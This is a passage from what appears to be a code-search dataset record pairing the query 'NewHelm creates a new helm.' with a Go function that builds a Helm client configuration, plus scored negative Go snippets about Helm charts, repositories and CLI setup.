retstr\n\t\t\t\t\t\t\tif ac.debugMode && ac.verboseMode {\n\t\t\t\t\t\t\t\tlog.Info(utils.Infostring(functionName, args) + \" -> \\\"\" + retstr + \"\\\"\")\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tretval = \"\"\n\t\t\t\t\t\t\tlog.Warn(\"The return type of \" + utils.Infostring(functionName, args) + \" can't be converted\")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// No return value, return an empty string and nil\n\t\t\t\t\treturn retval, nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n\t// Return the map of functions\n\treturn funcs, nil\n}", "func (o LoadRegistersOp) Execute(vm *system.VirtualMachine) {\n\tfor i := byte(0); i <= o.topRegister; i++ {\n\t\tvm.Registers[i] = vm.Memory[vm.IndexRegister+uint16(i)]\n\t}\n}", "func checkPythonPackageLoad(pythonVersion int, moduleName string) error {\n\tpythonBinary := \"python\"\n\n\tif pythonVersion == 3 {\n\t\tpythonBinary = \"python3\"\n\t}\n\n\treturn exec.Command(pythonBinary, \"-c\", \"import \"+moduleName).Run()\n}", "func (a *Applet) Load(filename string, src []byte, loader ModuleLoader) (err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\terr = fmt.Errorf(\"panic while executing %s: %v\", a.Filename, r)\n\t\t}\n\t}()\n\n\ta.Filename = filename\n\ta.loader = loader\n\n\ta.src = src\n\n\ta.Id = fmt.Sprintf(\"%s/%x\", filename, md5.Sum(src))\n\n\ta.predeclared = starlark.StringDict{\n\t\t\"struct\": starlark.NewBuiltin(\"struct\", starlarkstruct.Make),\n\t}\n\n\tglobals, err := starlark.ExecFile(a.thread(), a.Filename, a.src, a.predeclared)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"starlark.ExecFile: %v\", err)\n\t}\n\ta.Globals = globals\n\n\tmainFun, found := globals[\"main\"]\n\tif !found {\n\t\treturn fmt.Errorf(\"%s didn't export a main() function\", filename)\n\t}\n\tmain, ok := mainFun.(*starlark.Function)\n\tif !ok {\n\t\treturn fmt.Errorf(\"%s exported a main() that is not function\", filename)\n\t}\n\ta.main = main\n\n\treturn nil\n}", "func eval(x interface{}, env map[string]interface{}) interface{} {\r\n if str, ok := isSymbol(x); ok { // variable reference\r\n\treturn env[str]\r\n }\r\n l, ok := isList(x)\r\n if !ok { // constant literal\r\n\treturn x\r\n }\r\n if len(l) == 0 {\r\n\tpanic(\"empty list\")\r\n }\r\n if str, ok := isSymbol(l[0]); ok {\r\n\tswitch (str) {\r\n\tcase \"quote\": // (quote exp)\r\n\t return l[1]\r\n\tcase \"if\": // (if test conseq alt)\r\n\t test := l[1]\r\n\t conseq := l[2]\r\n\t alt := l[3]\r\n\t r := eval(test, env)\r\n\t if b, ok := isFalse(r); ok && !b {\r\n\t\treturn eval(alt, env)\r\n\t } else {\r\n\t\treturn eval(conseq, env)\r\n\t }\r\n\tcase \"define\": // (define var exp)\r\n\t car := l[1]\r\n\t cdr := l[2]\r\n\t if str, ok = isSymbol(car); ok {\r\n\t\tenv[str] = eval(cdr, env)\r\n\t\treturn env[str]\r\n\t } else {\r\n\t\tpanic(\"define needs a symbol\")\r\n\t }\r\n\tdefault: // (proc arg...)\r\n\t car := eval(l[0], env)\r\n\t proc, ok := car.(func([]interface{})interface{})\r\n\t if !ok {\r\n\t\tpanic(\"not a procedure\")\r\n\t }\r\n args := makeArgs(l[1:], env)\r\n return proc(args)\r\n\t}\r\n }\r\n return nil\r\n}" ]
[ "0.6671755", "0.6127695", "0.5694249", "0.56766814", "0.5612139", "0.53410804", "0.53085107", "0.5287491", "0.52582955", "0.5238143", "0.5232927", "0.5205424", "0.520263", "0.520205", "0.51830554", "0.51718724", "0.51359785", "0.5128875", "0.51054287", "0.5056298", "0.50494033", "0.5037884", "0.50140536", "0.4985524", "0.4943107", "0.49404246", "0.49384192", "0.49272373", "0.49156073", "0.49142972", "0.49068487", "0.48919487", "0.48869962", "0.48561624", "0.48546267", "0.48546267", "0.48527253", "0.4852503", "0.4840722", "0.4818346", "0.4801895", "0.47952843", "0.47764274", "0.4773698", "0.47681496", "0.47323376", "0.47278836", "0.47208488", "0.4716771", "0.4705337", "0.4701968", "0.46783754", "0.46673152", "0.46442637", "0.46438003", "0.46234238", "0.46182016", "0.46088216", "0.45982432", "0.4593485", "0.45806506", "0.45660084", "0.45550725", "0.4552927", "0.4548269", "0.45448515", "0.45416668", "0.45208853", "0.45061153", "0.45058748", "0.449256", "0.44837216", "0.44790578", "0.44610846", "0.446093", "0.44607458", "0.44547093", "0.4453255", "0.44314668", "0.44301572", "0.44286457", "0.4418054", "0.44151133", "0.4408509", "0.44041055", "0.44026297", "0.4396609", "0.43908957", "0.4389541", "0.4386672", "0.43809912", "0.43758902", "0.4375188", "0.43728182", "0.43678758", "0.43492004", "0.4337501", "0.43264493", "0.4323701", "0.43181276" ]
0.8102706
0
NewHelm creates a new helm.
func NewHelm(namespace, repoFile, repoCache string) (*Helm, error) { configFlags := genericclioptions.NewConfigFlags(true) configFlags.Namespace = commonutil.String(namespace) kubeClient := kube.New(configFlags) cfg := &action.Configuration{ KubeClient: kubeClient, Log: func(s string, i ...interface{}) { logrus.Debugf(s, i) }, RESTClientGetter: configFlags, } helmDriver := "" settings := cli.New() settings.Debug = true // set namespace namespacePtr := (*string)(unsafe.Pointer(settings)) *namespacePtr = namespace settings.RepositoryConfig = repoFile settings.RepositoryCache = repoCache // initializes the action configuration if err := cfg.Init(settings.RESTClientGetter(), settings.Namespace(), helmDriver, func(format string, v ...interface{}) { logrus.Debugf(format, v) }); err != nil { return nil, errors.Wrap(err, "init config") } return &Helm{ cfg: cfg, settings: settings, namespace: namespace, repoFile: repoFile, repoCache: repoCache, }, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *FakeHelms) Create(helm *v1alpha1.Helm) (result *v1alpha1.Helm, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewCreateAction(helmsResource, c.ns, helm), &v1alpha1.Helm{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*v1alpha1.Helm), err\n}", "func (f *factory) CreateHelm(verbose bool,\n\thelmBinary string,\n\tnoTiller bool,\n\thelmTemplate bool) helm.Helmer {\n\n\tif helmBinary == \"\" {\n\t\thelmBinary = \"helm\"\n\t}\n\tfeatureFlag := \"none\"\n\tif helmTemplate {\n\t\tfeatureFlag = \"template-mode\"\n\t} else if noTiller {\n\t\tfeatureFlag = \"no-tiller-server\"\n\t}\n\tif verbose {\n\t\tfmt.Sprintf(\"Using helmBinary %s with feature flag: %s\", util.ColorInfo(helmBinary), util.ColorInfo(featureFlag))\n\t}\n\thelmCLI := helm.NewHelmCLI(helmBinary, helm.V2, \"\", verbose)\n\tvar h helm.Helmer = helmCLI\n\tif helmTemplate {\n\t\tkubeClient, ns, _ := f.CreateKubeClient()\n\t\th = helm.NewHelmTemplate(helmCLI, \"\", kubeClient, ns)\n\t} else {\n\t\th = helmCLI\n\t}\n\tif noTiller && !helmTemplate {\n\t\th.SetHost(helm.GetTillerAddress())\n\t\thelm.StartLocalTillerIfNotRunning()\n\t}\n\treturn h\n}", "func NewHelmRelease(ctx *pulumi.Context,\n\tname string, args *HelmReleaseArgs, opts ...pulumi.ResourceOption) (*HelmRelease, error) {\n\tif args == nil {\n\t\targs = &HelmReleaseArgs{}\n\t}\n\targs.ApiVersion = pulumi.StringPtr(\"apps.open-cluster-management.io/v1\")\n\targs.Kind = pulumi.StringPtr(\"HelmRelease\")\n\tvar resource HelmRelease\n\terr := ctx.RegisterResource(\"kubernetes:apps.open-cluster-management.io/v1:HelmRelease\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "func New(config Config) (*HelmInstaller, error) {\n\t// Dependencies.\n\tif config.Configurers == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"configurers must not be empty\")\n\t}\n\tif config.FileSystem == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"file system must not be empty\")\n\t}\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"logger must not be empty\")\n\t}\n\n\t// Settings.\n\tif config.HelmBinaryPath == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"helm binary path must not be empty\")\n\t}\n\tif config.Organisation == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"organisation must not be empty\")\n\t}\n\tif config.Password == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"password must not be empty\")\n\t}\n\tif config.Registry == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"registry must not be empty\")\n\t}\n\tif config.Username == \"\" {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"username must not be empty\")\n\t}\n\n\tif _, err := os.Stat(config.HelmBinaryPath); os.IsNotExist(err) {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"helm binary does not exist\")\n\t}\n\n\tinstaller := &HelmInstaller{\n\t\t// Dependencies.\n\t\tconfigurers: config.Configurers,\n\t\tfileSystem: config.FileSystem,\n\t\tlogger: config.Logger,\n\n\t\t// Settings.\n\t\thelmBinaryPath: config.HelmBinaryPath,\n\t\torganisation: config.Organisation,\n\t\tpassword: config.Password,\n\t\tregistry: config.Registry,\n\t\tusername: config.Username,\n\t}\n\n\tif err := installer.login(); err != nil {\n\t\treturn nil, microerror.Mask(err)\n\t}\n\n\treturn installer, nil\n}", "func CreateHelmPlugin(version string) jenkinsv1.Plugin {\n\tbinaries := CreateBinaries(func(p Platform) string {\n\t\treturn fmt.Sprintf(\"https://get.helm.sh/helm-v%s-%s-%s.%s\", version, strings.ToLower(p.Goos), strings.ToLower(p.Goarch), p.Extension())\n\t})\n\n\tplugin := jenkinsv1.Plugin{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: HelmPluginName,\n\t\t},\n\t\tSpec: jenkinsv1.PluginSpec{\n\t\t\tSubCommand: \"helm\",\n\t\t\tBinaries: binaries,\n\t\t\tDescription: \"helm 3 binary\",\n\t\t\tName: HelmPluginName,\n\t\t\tVersion: version,\n\t\t},\n\t}\n\treturn plugin\n}", "func (in *Helm) DeepCopy() *Helm {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Helm)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func NewHelmConfigurator() *helmConfigurator {\n\treturn &helmConfigurator{}\n}", "func helmUpgrade() error {\n\tprojectName := projectConfig.GetString(\"project_name\")\n\tenvironment := projectConfig.GetString(\"environment\")\n\n\tcolor.Cyan(\"Installing project chart via helm...\")\n\n\tvar waitFlag string\n\tif projectConfig.GetBool(\"wait\") {\n\t\t// Intended for CI, wait for updated infrastructure to apply fully so subsequent commands (drush) run against new infra\n\t\twaitFlag = \"--wait\"\n\t\tcolor.Cyan(\"Using wait, command will take a moment...\")\n\t}\n\n\tvar helmValues HelmValues\n\n\thelmValues.appendValue(\"general.project_name\", projectName, true);\n\thelmValues.appendValue(\"general.environment\", environment, true);\n\n\t// These come from environment vars\n\t// TODO - Blackfire credential management? Currently deploying to both environments - MEA\n\thelmValues.appendProjectValue(\"applications.blackfire.server_id\", \"BLACKFIRE_SERVER_ID\", false)\n\thelmValues.appendProjectValue(\"applications.blackfire.server_token\", \"BLACKFIRE_SERVER_TOKEN\", false)\n\thelmValues.appendProjectValue(\"applications.blackfire.client_id\", \"BLACKFIRE_CLIENT_ID\", false)\n\thelmValues.appendProjectValue(\"applications.blackfire.client_token\", \"BLACKFIRE_CLIENT_TOKEN\", false)\n\n\t// Derived values\n\tif environment == \"local\" {\n\t\t// Using https://github.com/mstrzele/minikube-nfs\n\t\t// Creates a persistent volume with contents of /Users mounted from an nfs share from host\n\t\t// So rather than using /Users directly, grab the path within the project\n\t\t// Check the helm chart mounts\n\t\tprojectPath, _ := util.ExecCmdChain(\"printf ${PWD#/Users/}\")\n\t\thelmValues.appendValue(\"applications.drupal.local.project_root\", projectPath, true)\n\t\tlocalIp, _ := util.ExecCmdChain(\"ifconfig | grep \\\"inet \\\" | grep -v 127.0.0.1 | awk '{print $2}' | sed -n 1p\")\n\t\thelmValues.appendValue(\"applications.xdebug.host_ip\", localIp, true)\n\t} else {\n\t\t// Obtain the git commit from env vars if present in CircleCI\n\t\t// TODO - Make this a required argument rather than inferred environment variable\n\t\tif circleSha := projectConfig.GetString(\"CIRCLE_SHA1\"); len(circleSha) > 0 {\n\t\t\thelmValues.appendValue(\"general.git_commit\", circleSha, false)\n\t\t} else {\n\t\t\tif approve := util.GetApproval(\"No CIRCLE_SHA1 environment variable set (should be git sha1 hash of commit), use 'latest' tag for application container?\"); !approve {\n\t\t\t\tcolor.Red(\"User exited. Please run 'export CIRCLE_SHA1=' adding your targetted git commit hash, or run again and agree to use 'latest.'\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t}\n\t}\n\n\tchartConfigPath := fmt.Sprintf(\"charts.%s\", environment)\n\thelmChartPath := projectConfig.GetString(chartConfigPath)\n\n\tcommand := fmt.Sprintf(\"helm upgrade --install --values %s %s %s-%s %s --set %s\",\n\t\tenvConfig.ConfigFileUsed(),\n\t\twaitFlag,\n\t\tprojectName,\n\t\tenvironment,\n\t\thelmChartPath,\n\t\tstrings.Join(helmValues.values, \",\"))\n\tout, err := util.ExecCmdChainCombinedOut(command)\n\tif (err != nil) {\n\t\tcolor.Red(out)\n\t\tif (projectConfig.GetBool(\"rollback-on-failure\")) {\n\t\t\tcolor.Yellow(\"Your helm upgrade resulted in a failure, attempting to rollback...\")\n\t\t\trollbackCmd.Run(nil, nil)\n\t\t\tcolor.Yellow(\"Successfully rolled back attempted update, exiting with error. You will want to correct this.\")\n\t\t\tos.Exit(1)\n\t\t} else {\n\t\t\tos.Exit(1)\n\t\t}\n\t} else if debugMode := viper.GetString(\"debug\"); len(debugMode) > 0 {\n\t\tcolor.Green(out)\n\t}\n\treturn err\n}", "func New(clientSet *kubernetes.Clientset) (renderer.Renderer, error) {\n\tif clientSet == nil {\n\t\tcfg, err := config.GetConfig()\n\t\tif err != nil {\n\t\t\treturn nil, errors.NewRendererError(\"helm\", \"unable to set up client config\", err)\n\t\t}\n\n\t\tclientSet, err = kubernetes.NewForConfig(cfg)\n\t\tif err != nil {\n\t\t\treturn nil, errors.NewRendererError(\"helm\", \"failed to create kubernetes client\", err)\n\t\t}\n\t}\n\tsv, err := clientSet.ServerVersion()\n\n\tif err != nil {\n\t\treturn nil, errors.NewRendererError(\"helm\", \"failed to get kubernetes server version\", err)\n\t}\n\treturn &helmRenderer{\n\t\tclientSet: clientSet,\n\t\trenderer: engine.New(),\n\t\tcapabilities: &chartutil.Capabilities{KubeVersion: sv},\n\t}, nil\n}", "func (a RepositoryManagementAPI) CreateHelmHosted(r HelmHostedRepository) error {\n\tpath := fmt.Sprintf(\"beta/repositories/helm/hosted\")\n\n\tb := new(bytes.Buffer)\n\tjson.NewEncoder(b).Encode(r)\n\n\t_, err := a.client.sendRequest(http.MethodPost, path, b, nil)\n\treturn err\n}", "func InitHelmOnCluster(c *gin.Context) {\n\tlog := logger.WithFields(logrus.Fields{\"tag\": constants.TagHelmInstall})\n\tlog.Info(\"Start helm install\")\n\n\tcommonCluster, ok := GetCommonClusterFromRequest(c)\n\tif ok != true {\n\t\treturn\n\t}\n\n\tkubeConfig, err := commonCluster.GetK8sConfig()\n\tif err != nil {\n\t\tlog.Errorf(\"Error during getting kubeconfig: %s\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error getting kubeconfig\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\t// bind request body to struct\n\tvar helmInstall htype.Install\n\tif err := c.BindJSON(&helmInstall); err != nil {\n\t\t// bind failed\n\t\tlog.Errorf(\"Required field is empty: %s\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error parsing request\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\terr = helm.Install(&helmInstall, kubeConfig, commonCluster.GetName())\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to install chart: %s\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error installing helm\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\tmessage := \"helm initialising\"\n\tc.JSON(http.StatusCreated, htype.InstallResponse{\n\t\tStatus: http.StatusCreated,\n\t\tMessage: message,\n\t})\n\tlog.Info(message)\n\treturn\n}", "func kubeCreateHelmRepository(t *testing.T, name, url, namespace string) error {\n\tt.Logf(\"+kubeCreateHelmRepository(%s,%s)\", name, namespace)\n\tunstructuredRepo := unstructured.Unstructured{\n\t\tObject: map[string]interface{}{\n\t\t\t\"apiVersion\": fmt.Sprintf(\"%s/%s\", fluxGroup, fluxVersion),\n\t\t\t\"kind\": fluxHelmRepository,\n\t\t\t\"metadata\": map[string]interface{}{\n\t\t\t\t\"name\": name,\n\t\t\t\t\"namespace\": namespace,\n\t\t\t},\n\t\t\t\"spec\": map[string]interface{}{\n\t\t\t\t\"url\": url,\n\t\t\t\t\"interval\": \"1m\",\n\t\t\t},\n\t\t},\n\t}\n\n\tif ifc, err := kubeGetHelmRepositoryResourceInterface(namespace); err != nil {\n\t\treturn err\n\t} else if _, err = ifc.Create(context.TODO(), &unstructuredRepo, metav1.CreateOptions{}); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (repo *HelmRepoRepository) CreateHelmRepo(hr *models.HelmRepo) (*models.HelmRepo, error) {\n\terr := repo.EncryptHelmRepoData(hr, repo.key)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproject := &models.Project{}\n\n\tif err := repo.db.Where(\"id = ?\", hr.ProjectID).First(&project).Error; err != nil {\n\t\treturn nil, err\n\t}\n\n\tassoc := repo.db.Model(&project).Association(\"HelmRepos\")\n\n\tif assoc.Error != nil {\n\t\treturn nil, assoc.Error\n\t}\n\n\tif err := assoc.Append(hr); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create a token cache by default\n\tassoc = repo.db.Model(hr).Association(\"TokenCache\")\n\n\tif assoc.Error != nil {\n\t\treturn nil, assoc.Error\n\t}\n\n\tif err := assoc.Append(&hr.TokenCache); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = repo.DecryptHelmRepoData(hr, repo.key)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn hr, nil\n}", "func NewApp(version string, start time.Time) (app *cli.App) {\n\tapp = cli.NewApp()\n\tapp.Name = \"mmds\"\n\tapp.Version = version\n\tapp.Usage = \"Missed (AWS) Meta-Data (service)\"\n\tapp.EnableBashCompletion = true\n\n\tapp.Flags = cli.FlagsByName{\n\t\t&cli.StringFlag{\n\t\t\tName: \"log-level\",\n\t\t\tEnvVars: []string{\"MMDS_LOG_LEVEL\"},\n\t\t\tUsage: \"log `level` (debug,info,warn,fatal,panic)\",\n\t\t\tValue: \"info\",\n\t\t},\n\t\t&cli.StringFlag{\n\t\t\tName: \"log-format\",\n\t\t\tEnvVars: []string{\"MMDS_LOG_FORMAT\"},\n\t\t\tUsage: \"log `format` (json,text)\",\n\t\t\tValue: \"text\",\n\t\t},\n\t}\n\n\tapp.Commands = cli.CommandsByName{\n\t\t{\n\t\t\tName: \"pricing-model\",\n\t\t\tUsage: \"get instance pricing-model\",\n\t\t\tAction: cmd.ExecWrapper(cmd.PricingModel),\n\t\t},\n\t}\n\n\tapp.Metadata = map[string]interface{}{\n\t\t\"startTime\": start,\n\t}\n\n\treturn\n}", "func NewHelloWorld(hellowordString string) *Helloword {\n\thl := &Helloword{}\n\n\thl.d.Text = hellowordString\n\n\treturn hl\n\n}", "func NewHelloWorld(hellowordString string) *Helloword {\n\thl := &Helloword{}\n\n\thl.d.Text = hellowordString\n\n\treturn hl\n}", "func AddHelmController(mgr manager.Manager) error {\n\tcwfHelmGVK := schema.GroupVersionKind{\n\t\tGroup: cwfGroup,\n\t\tVersion: cwfVersion,\n\t\tKind: cwfKind,\n\t}\n\tcwfHelmChartOptions := helmcontroller.WatchOptions{\n\t\tGVK: cwfHelmGVK,\n\t\tManagerFactory: release.NewManagerFactory(mgr, charDir),\n\t\tReconcilePeriod: reconcilePeriod,\n\t\tWatchDependentResources: true,\n\t\tOverrideValues: map[string]string{},\n\t}\n\treturn helmcontroller.Add(mgr, cwfHelmChartOptions)\n}", "func NewClient() (*Client, error) {\n\tpath, err := exec.LookPath(\"helm\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"helm must be installed and available in path: %s\", err.Error())\n\t}\n\tklog.V(3).Infof(\"found helm at %s\", path)\n\treturn &Client{path}, nil\n}", "func NewInput(chartPath, releaseName, namespace string, values map[string]interface{}) renderer.Input {\n\treturn helmInput{\n\t\tchartPath: chartPath,\n\t\treleaseName: releaseName,\n\t\tnamespace: namespace,\n\t\tvalues: values,\n\t}\n}", "func newPlane(mk, mdl string) *plane {\n\tp := &plane{}\n\tp.make = mk\n\tp.model = mdl\n\treturn p\n}", "func New(c Config) pkg.HelmClient {\n\treturn &Client{\n\t\tconf: &c,\n\t\tcli: httpclient.NewHttpClient(),\n\t}\n}", "func NewLegacyHelmService(clusters internalhelm.ClusterService, service internalhelm.Service, logger common.Logger) internalhelm.UnifiedReleaser {\n\treturn &LegacyHelmService{\n\t\tclusters: clusters,\n\t\tserviceFacade: service,\n\t\tlogger: logger.WithFields(map[string]interface{}{\"component\": \"helm\"}),\n\t}\n}", "func InitHelmOnCluster(c *gin.Context) {\n\tbanzaiUtils.LogInfo(banzaiConstants.TagHelmInstall, \"Start helm install\")\n\n\t// get cluster from database\n\tcl, err := cloud.GetClusterFromDB(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tkce := fmt.Sprintf(\"./statestore/%s/config\", cl.Name)\n\tbanzaiUtils.LogInfof(\"Set $KUBECONFIG env to %s\", kce)\n\tos.Setenv(\"KUBECONFIG\", kce)\n\n\t// bind request body to struct\n\tvar helmInstall banzaiHelm.Install\n\tif err := c.BindJSON(&helmInstall); err != nil {\n\t\t// bind failed\n\t\tbanzaiUtils.LogError(banzaiConstants.TagHelmInstall, \"Required field is empty: \"+err.Error())\n\t\tcloud.SetResponseBodyJson(c, http.StatusBadRequest, gin.H{\n\t\t\tcloud.JsonKeyStatus: http.StatusBadRequest,\n\t\t\tcloud.JsonKeyMessage: \"Required field is empty\",\n\t\t\tcloud.JsonKeyError: err,\n\t\t})\n\t\treturn\n\t} else {\n\t\tbanzaiUtils.LogInfo(banzaiConstants.TagHelmInstall, \"Bind succeeded\")\n\t}\n\n\tresp := helm.Install(&helmInstall)\n\tcloud.SetResponseBodyJson(c, resp.StatusCode, resp)\n\n}", "func (c *FakeHelms) Get(name string, options v1.GetOptions) (result *v1alpha1.Helm, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewGetAction(helmsResource, c.ns, name), &v1alpha1.Helm{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*v1alpha1.Helm), err\n}", "func NewCreateCmd(globalFlags *flags.GlobalFlags) *cobra.Command {\n\tcmd := &CreateCmd{\n\t\tGlobalFlags: globalFlags,\n\t\tlog: log.GetInstance(),\n\t}\n\n\tcobraCmd := &cobra.Command{\n\t\tUse: \"create\",\n\t\tShort: \"Create a new virtual cluster\",\n\t\tLong: `\n#######################################################\n################### vcluster create ###################\n#######################################################\nCreates a new virtual cluster\n\nExample:\nvcluster create test --namespace test\n#######################################################\n\t`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tRunE: func(cobraCmd *cobra.Command, args []string) error {\n\t\t\t// Check for newer version\n\t\t\tupgrade.PrintNewerVersionWarning()\n\n\t\t\treturn cmd.Run(cobraCmd, args)\n\t\t},\n\t}\n\n\tcobraCmd.Flags().StringVar(&cmd.ChartVersion, \"chart-version\", upgrade.GetVersion(), \"The virtual cluster chart version to use\")\n\tcobraCmd.Flags().StringVar(&cmd.ChartName, \"chart-name\", \"vcluster\", \"The virtual cluster chart name to use\")\n\tcobraCmd.Flags().StringVar(&cmd.ChartRepo, \"chart-repo\", \"https://charts.loft.sh\", \"The virtual cluster chart repo to use\")\n\tcobraCmd.Flags().StringVar(&cmd.ReleaseValues, \"release-values\", \"\", \"Path where to load the virtual cluster helm release values from\")\n\tcobraCmd.Flags().StringVar(&cmd.K3SImage, \"k3s-image\", \"\", \"If specified, use this k3s image version\")\n\tcobraCmd.Flags().StringSliceVarP(&cmd.ExtraValues, \"extra-values\", \"f\", []string{}, \"Path where to load extra helm values from\")\n\tcobraCmd.Flags().BoolVar(&cmd.CreateNamespace, \"create-namespace\", true, \"If true the namespace will be created if it does not exist\")\n\tcobraCmd.Flags().BoolVar(&cmd.DisableIngressSync, \"disable-ingress-sync\", false, \"If true the virtual cluster will not sync any ingresses\")\n\tcobraCmd.Flags().BoolVar(&cmd.CreateClusterRole, \"create-cluster-role\", false, \"If true a cluster role will be created to access nodes, storageclasses and priorityclasses\")\n\tcobraCmd.Flags().BoolVar(&cmd.Expose, \"expose\", false, \"If true will create a load balancer service to expose the vcluster endpoint\")\n\tcobraCmd.Flags().BoolVar(&cmd.Connect, \"connect\", false, \"If true will run vcluster connect directly after the vcluster was created\")\n\treturn cobraCmd\n}", "func newCreateThemeCmd() *cobra.Command {\n\tvar (\n\t\toptions core.CreateThemeOptions\n\t)\n\tcreateThemeCmd := cobra.Command{\n\t\tUse: \"theme THEME_NAME\",\n\t\tShort: `Create a new verless theme`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tname := args[0]\n\n\t\t\treturn core.CreateTheme(options, name)\n\t\t},\n\t}\n\n\tcreateThemeCmd.Flags().StringVarP(&options.Project, \"project\", \"p\", \".\", `project path to create new theme in.`)\n\treturn &createThemeCmd\n}", "func New(w http.ResponseWriter, r *http.Request) {\r\n\ttmpl.ExecuteTemplate(w, \"New\", nil)\r\n}", "func New(w http.ResponseWriter, r *http.Request) {\r\n\ttmpl.ExecuteTemplate(w, \"New\", nil)\r\n}", "func newKlusterlets(c *OperatorV1Client) *klusterlets {\n\treturn &klusterlets{\n\t\tclient: c.RESTClient(),\n\t}\n}", "func (c *FakeHelms) Delete(name string, options *v1.DeleteOptions) error {\n\t_, err := c.Fake.\n\t\tInvokes(testing.NewDeleteAction(helmsResource, c.ns, name), &v1alpha1.Helm{})\n\n\treturn err\n}", "func New(w http.ResponseWriter, r *http.Request) {\n\tgetTemplates().ExecuteTemplate(w, \"New\", nil)\n}", "func NewProgramControl()(*ProgramControl) {\n m := &ProgramControl{\n Entity: *NewEntity(),\n }\n return m\n}", "func NewMetal(albedo Color, roughness float64) Metal {\n\treturn Metal{Albedo: albedo, Rough: roughness}\n}", "func NewPage(ctx *sweetygo.Context) error {\n\tctx.Set(\"title\", \"New\")\n\tctx.Set(\"editor\", true)\n\treturn ctx.Render(200, \"posts/new\")\n}", "func newApp(desc string) *cli.App {\n\tapp := cli.NewApp()\n\tapp.Name = name\n\tapp.HelpName = filepath.Base(os.Args[0])\n\tapp.Author = author\n\tapp.Version = version\n\tapp.Description = desc\n\tapp.Writer = os.Stdout\n\treturn app\n}", "func NewManagementTemplateStep()(*ManagementTemplateStep) {\n m := &ManagementTemplateStep{\n Entity: *ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.NewEntity(),\n }\n return m\n}", "func newMeta(db *leveldb.DB) (*meta, error) {\n\ttasks, err := loadTaskMetas(db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &meta{\n\t\ttasks: tasks,\n\t}, nil\n}", "func New(filename string) (*Hostman, error) {\n\tfile, err := os.OpenFile(filename, os.O_APPEND|os.O_RDWR|os.O_RDONLY, 0644)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Hostman{registry: file, filename: filename}, nil\n}", "func TestNew_noMetaOnInit(t *testing.T) {\n\tt.Parallel()\n\n\ttmpDir := t.TempDir()\n\tbucket, err := fileblob.OpenBucket(tmpDir, nil)\n\trequire.NoError(t, err)\n\trequire.NoError(t,\n\t\tbucket.WriteAll(context.Background(), \".pulumi/stacks/dev.json\", []byte(\"bar\"), nil))\n\n\tctx := context.Background()\n\t_, err = New(ctx, diagtest.LogSink(t), \"file://\"+filepath.ToSlash(tmpDir), nil)\n\trequire.NoError(t, err)\n\n\tassert.NoFileExists(t, filepath.Join(tmpDir, \".pulumi\", \"meta.yaml\"))\n}", "func newChart(metricName string, chartName string, color string, metrics []statboard.Metric) (chart, error) {\n\tvalidName := strings.Replace(metricName, \".\", \"_\", -1)\n\thex, err := colors.ParseHEX(color)\n\tif err != nil {\n\t\treturn chart{}, errors.Wrap(err, fmt.Sprintf(\"failed to parse color %q\", color))\n\t}\n\n\treturn chart{metricName: validName, ChartName: chartName, color: hex.ToRGB().String(), metrics: metrics}, nil\n}", "func New(name string) *Framework {\n\tfmw.Name = name\n\tfmw.init()\n\treturn fmw\n}", "func NewLabeltile(conf *Conf, injectFns ...ContainerInjector) *Labeltile {\n\tcontainer := infra.NewContainer()\n\tfor _, fn := range injectFns {\n\t\tfn(container, conf)\n\t}\n\trouter := gin.Default()\n\trouter.LoadHTMLGlob(filepath.Join(conf.Server.Template, 